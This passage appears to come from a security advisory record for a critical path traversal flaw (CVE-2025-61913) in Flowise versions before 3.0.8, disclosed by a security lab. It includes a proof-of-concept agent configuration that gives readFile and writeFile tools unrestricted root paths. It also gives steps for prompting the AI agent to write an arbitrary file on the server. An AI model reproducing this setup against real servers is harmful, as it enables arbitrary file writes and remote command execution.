\"agentModel\": \"chatOpenAI\"\n },\n \"id\": \"agentAgentflow_0-input-agentToolsBuiltInOpenAI-multiOptions\",\n \"display\": false\n },\n {\n \"label\": \"Tools\",\n \"name\": \"agentTools\",\n \"type\": \"array\",\n \"optional\": true,\n \"array\": [\n {\n \"label\": \"Tool\",\n \"name\": \"agentSelectedTool\",\n \"type\": \"asyncOptions\",\n \"loadMethod\": \"listTools\",\n \"loadConfig\": true\n },\n {\n \"label\": \"Require Human Input\",\n \"name\": \"agentSelectedToolRequiresHumanInput\",\n \"type\": \"boolean\",\n \"optional\": true\n }\n ],\n \"id\": \"agentAgentflow_0-input-agentTools-array\",\n \"display\": true\n },\n {\n \"label\": \"Knowledge (Document Stores)\",\n \"name\": \"agentKnowledgeDocumentStores\",\n \"type\": \"array\",\n \"description\": \"Give your agent context about different document sources. Document stores must be upserted in advance.\",\n \"array\": [\n {\n \"label\": \"Document Store\",\n \"name\": \"documentStore\",\n \"type\": \"asyncOptions\",\n \"loadMethod\": \"listStores\"\n },\n {\n \"label\": \"Describe Knowledge\",\n \"name\": \"docStoreDescription\",\n \"type\": \"string\",\n \"generateDocStoreDescription\": true,\n \"placeholder\": \"Describe what the knowledge base is about, this is useful for the AI to know when and how to search for correct information\",\n \"rows\": 4\n },\n {\n \"label\": \"Return Source Documents\",\n \"name\": \"returnSourceDocuments\",\n \"type\": \"boolean\",\n \"optional\": true\n }\n ],\n \"optional\": true,\n \"id\": \"agentAgentflow_0-input-agentKnowledgeDocumentStores-array\",\n \"display\": true\n },\n {\n \"label\": \"Knowledge (Vector Embeddings)\",\n \"name\": \"agentKnowledgeVSEmbeddings\",\n \"type\": \"array\",\n \"description\": \"Give your agent context about different document sources from existing vector stores and embeddings\",\n \"array\": [\n {\n \"label\": \"Vector Store\",\n \"name\": \"vectorStore\",\n \"type\": \"asyncOptions\",\n \"loadMethod\": \"listVectorStores\",\n \"loadConfig\": true\n },\n {\n \"label\": \"Embedding Model\",\n \"name\": \"embeddingModel\",\n \"type\": \"asyncOptions\",\n \"loadMethod\": \"listEmbeddings\",\n \"loadConfig\": true\n },\n {\n \"label\": \"Knowledge Name\",\n \"name\": \"knowledgeName\",\n \"type\": \"string\",\n \"placeholder\": \"A short name for the knowledge base, this is useful for the AI to know when and how to search for correct information\"\n },\n {\n \"label\": \"Describe Knowledge\",\n \"name\": \"knowledgeDescription\",\n \"type\": \"string\",\n \"placeholder\": \"Describe what the knowledge base is about, this is useful for the AI to know when and how to search for correct information\",\n \"rows\": 4\n },\n {\n \"label\": \"Return Source Documents\",\n \"name\": \"returnSourceDocuments\",\n \"type\": \"boolean\",\n \"optional\": true\n }\n ],\n \"optional\": true,\n \"id\": \"agentAgentflow_0-input-agentKnowledgeVSEmbeddings-array\",\n \"display\": true\n },\n {\n \"label\": \"Enable Memory\",\n \"name\": \"agentEnableMemory\",\n \"type\": \"boolean\",\n \"description\": \"Enable memory for the conversation thread\",\n \"default\": true,\n \"optional\": true,\n \"id\": \"agentAgentflow_0-input-agentEnableMemory-boolean\",\n \"display\": true\n },\n {\n \"label\": \"Memory Type\",\n \"name\": \"agentMemoryType\",\n \"type\": \"options\",\n \"options\": [\n {\n \"label\": \"All Messages\",\n \"name\": \"allMessages\",\n \"description\": \"Retrieve all messages from the conversation\"\n },\n {\n \"label\": \"Window Size\",\n \"name\": \"windowSize\",\n \"description\": \"Uses a fixed window size to surface the last N messages\"\n },\n {\n \"label\": \"Conversation Summary\",\n \"name\": \"conversationSummary\",\n \"description\": \"Summarizes the whole conversation\"\n },\n {\n \"label\": \"Conversation Summary Buffer\",\n \"name\": \"conversationSummaryBuffer\",\n \"description\": \"Summarize conversations once token limit is reached. Default to 2000\"\n }\n ],\n \"optional\": true,\n \"default\": \"allMessages\",\n \"show\": {\n \"agentEnableMemory\": true\n },\n \"id\": \"agentAgentflow_0-input-agentMemoryType-options\",\n \"display\": false\n },\n {\n \"label\": \"Window Size\",\n \"name\": \"agentMemoryWindowSize\",\n \"type\": \"number\",\n \"default\": \"20\",\n \"description\": \"Uses a fixed window size to surface the last N messages\",\n \"show\": {\n \"agentMemoryType\": \"windowSize\"\n },\n \"id\": \"agentAgentflow_0-input-agentMemoryWindowSize-number\",\n \"display\": false\n },\n {\n \"label\": \"Max Token Limit\",\n \"name\": \"agentMemoryMaxTokenLimit\",\n \"type\": \"number\",\n \"default\": \"2000\",\n \"description\": \"Summarize conversations once token limit is reached. Default to 2000\",\n \"show\": {\n \"agentMemoryType\": \"conversationSummaryBuffer\"\n },\n \"id\": \"agentAgentflow_0-input-agentMemoryMaxTokenLimit-number\",\n \"display\": false\n },\n {\n \"label\": \"Input Message\",\n \"name\": \"agentUserMessage\",\n \"type\": \"string\",\n \"description\": \"Add an input message as user message at the end of the conversation\",\n \"rows\": 4,\n \"optional\": true,\n \"acceptVariable\": true,\n \"show\": {\n \"agentEnableMemory\": true\n },\n \"id\": \"agentAgentflow_0-input-agentUserMessage-string\",\n \"display\": false\n },\n {\n \"label\": \"Return Response As\",\n \"name\": \"agentReturnResponseAs\",\n \"type\": \"options\",\n \"options\": [\n {\n \"label\": \"User Message\",\n \"name\": \"userMessage\"\n },\n {\n \"label\": \"Assistant Message\",\n \"name\": \"assistantMessage\"\n }\n ],\n \"default\": \"userMessage\",\n \"id\": \"agentAgentflow_0-input-agentReturnResponseAs-options\",\n \"display\": true\n },\n {\n \"label\": \"Update Flow State\",\n \"name\": \"agentUpdateState\",\n \"description\": \"Update runtime state during the execution of the workflow\",\n \"type\": \"array\",\n \"optional\": true,\n \"acceptVariable\": true,\n \"array\": [\n {\n \"label\": \"Key\",\n \"name\": \"key\",\n \"type\": \"asyncOptions\",\n \"loadMethod\": \"listRuntimeStateKeys\",\n \"freeSolo\": true\n },\n {\n \"label\": \"Value\",\n \"name\": \"value\",\n \"type\": \"string\",\n \"acceptVariable\": true,\n \"acceptNodeOutputAsVariable\": true\n }\n ],\n \"id\": \"agentAgentflow_0-input-agentUpdateState-array\",\n \"display\": true\n }\n ],\n \"inputAnchors\": [],\n \"inputs\": {\n \"agentModel\": \"chatOpenRouter\",\n \"agentMessages\": [\n {\n \"role\": \"\",\n \"content\": \"<p><span class=\\\"variable\\\" data-type=\\\"mention\\\" data-id=\\\"question\\\" data-label=\\\"question\\\">{{ question }}</span> </p>\"\n }\n ],\n \"agentTools\": [\n {\n \"agentSelectedTool\": \"readFile\",\n \"agentSelectedToolRequiresHumanInput\": \"\",\n \"agentSelectedToolConfig\": {\n \"basePath\": \"/\",\n \"agentSelectedTool\": \"readFile\"\n }\n },\n {\n \"agentSelectedTool\": \"writeFile\",\n \"agentSelectedToolRequiresHumanInput\": \"\",\n \"agentSelectedToolConfig\": {\n \"basePath\": \"/\",\n \"agentSelectedTool\": \"writeFile\"\n }\n }\n ],\n \"agentKnowledgeDocumentStores\": \"\",\n \"agentKnowledgeVSEmbeddings\": \"\",\n \"agentEnableMemory\": false,\n \"agentReturnResponseAs\": \"userMessage\",\n \"agentUpdateState\": \"\",\n \"undefined\": \"\",\n \"agentModelConfig\": {\n \"cache\": \"\",\n \"modelName\": \"qwen/qwen3-30b-a3b\",\n \"temperature\": 0.9,\n \"streaming\": true,\n \"maxTokens\": \"\",\n \"topP\": \"\",\n \"frequencyPenalty\": \"\",\n \"presencePenalty\": \"\",\n \"timeout\": \"\",\n \"basepath\": \"https://openrouter.ai/api/v1\",\n \"baseOptions\": \"\",\n \"agentModel\": \"chatOpenRouter\"\n }\n },\n \"outputAnchors\": [\n {\n \"id\": \"agentAgentflow_0-output-agentAgentflow\",\n \"label\": \"Agent\",\n \"name\": \"agentAgentflow\"\n }\n ],\n \"outputs\": {},\n \"selected\": false\n },\n \"type\": \"agentFlow\",\n \"width\": 232,\n \"height\": 100,\n \"selected\": false,\n \"positionAbsolute\": {\n \"x\": -63.5,\n \"y\": 89.125\n },\n \"dragging\": false\n }\n ],\n \"edges\": [\n {\n \"source\": \"startAgentflow_0\",\n \"sourceHandle\": \"startAgentflow_0-output-startAgentflow\",\n \"target\": \"agentAgentflow_0\",\n \"targetHandle\": \"agentAgentflow_0\",\n \"data\": {\n \"sourceColor\": \"#7EE787\",\n \"targetColor\": \"#4DD0E1\",\n \"isHumanInput\": false\n },\n \"type\": \"agentFlow\",\n \"id\": \"startAgentflow_0-startAgentflow_0-output-startAgentflow-agentAgentflow_0-agentAgentflow_0\"\n },\n {\n \"source\": \"agentAgentflow_0\",\n \"sourceHandle\": \"agentAgentflow_0-output-agentAgentflow\",\n \"target\": \"directReplyAgentflow_0\",\n \"targetHandle\": \"directReplyAgentflow_0\",\n \"data\": {\n \"sourceColor\": \"#4DD0E1\",\n \"targetColor\": \"#4DDBBB\",\n \"isHumanInput\": false\n },\n \"type\": \"agentFlow\",\n \"id\": \"agentAgentflow_0-agentAgentflow_0-output-agentAgentflow-directReplyAgentflow_0-directReplyAgentflow_0\"\n }\n ]\n}\n```\n5. Click on \"AgentFlows\" on the left, then click \"Add New\" on the right to enter the Agent creation page. Click the gear button in the upper right corner, select \"Load Agents,\" choose the agent.json file, and after successful import, you will see three connected nodes.\n6. Double-click the middle \"Agent 0\" node, click \"ChatOpenRouter Parameters,\" then \"Connect Credential,\" and select \"Create New.\" Enter a valid OpenRouter API Key. Alternatively, click \"Model\" to choose another LLM provider. Once done, click the save button in the upper right corner.\n7. After saving, click the purple chat button in the upper right corner and enter: Write \"hacked\" to /tmp/hacked.txt. \n8. After the call is completed, log in to the container via `docker exec -it [container id] sh`, and you can see that the file has been successfully written.\n\n### Impact\n\nAuthenticated attackers can exploit this vulnerability to write arbitrary files to any path on the server, ultimately achieving remote command execution.\n\n### Credit\n\nThis vulnerability was discovered by:\n\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nCVE(s) and credit(s) are preferred.\n\nIf you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "flowise"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.0.8"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "flowise-components"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.0.8"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "Flowise"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.0.8"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.0.5"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-j44m-5v8f-gc9c"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-jv9m-vf54-chjj"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-61913"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/pull/5275"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/commit/1fb12cd93143592a18995f63b781d25b354d48a3"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/FlowiseAI/Flowise"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.8"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2025-10-09T15:21:39Z",
"nvd_published_at" : "2025-10-08T23:15:31Z"
}
}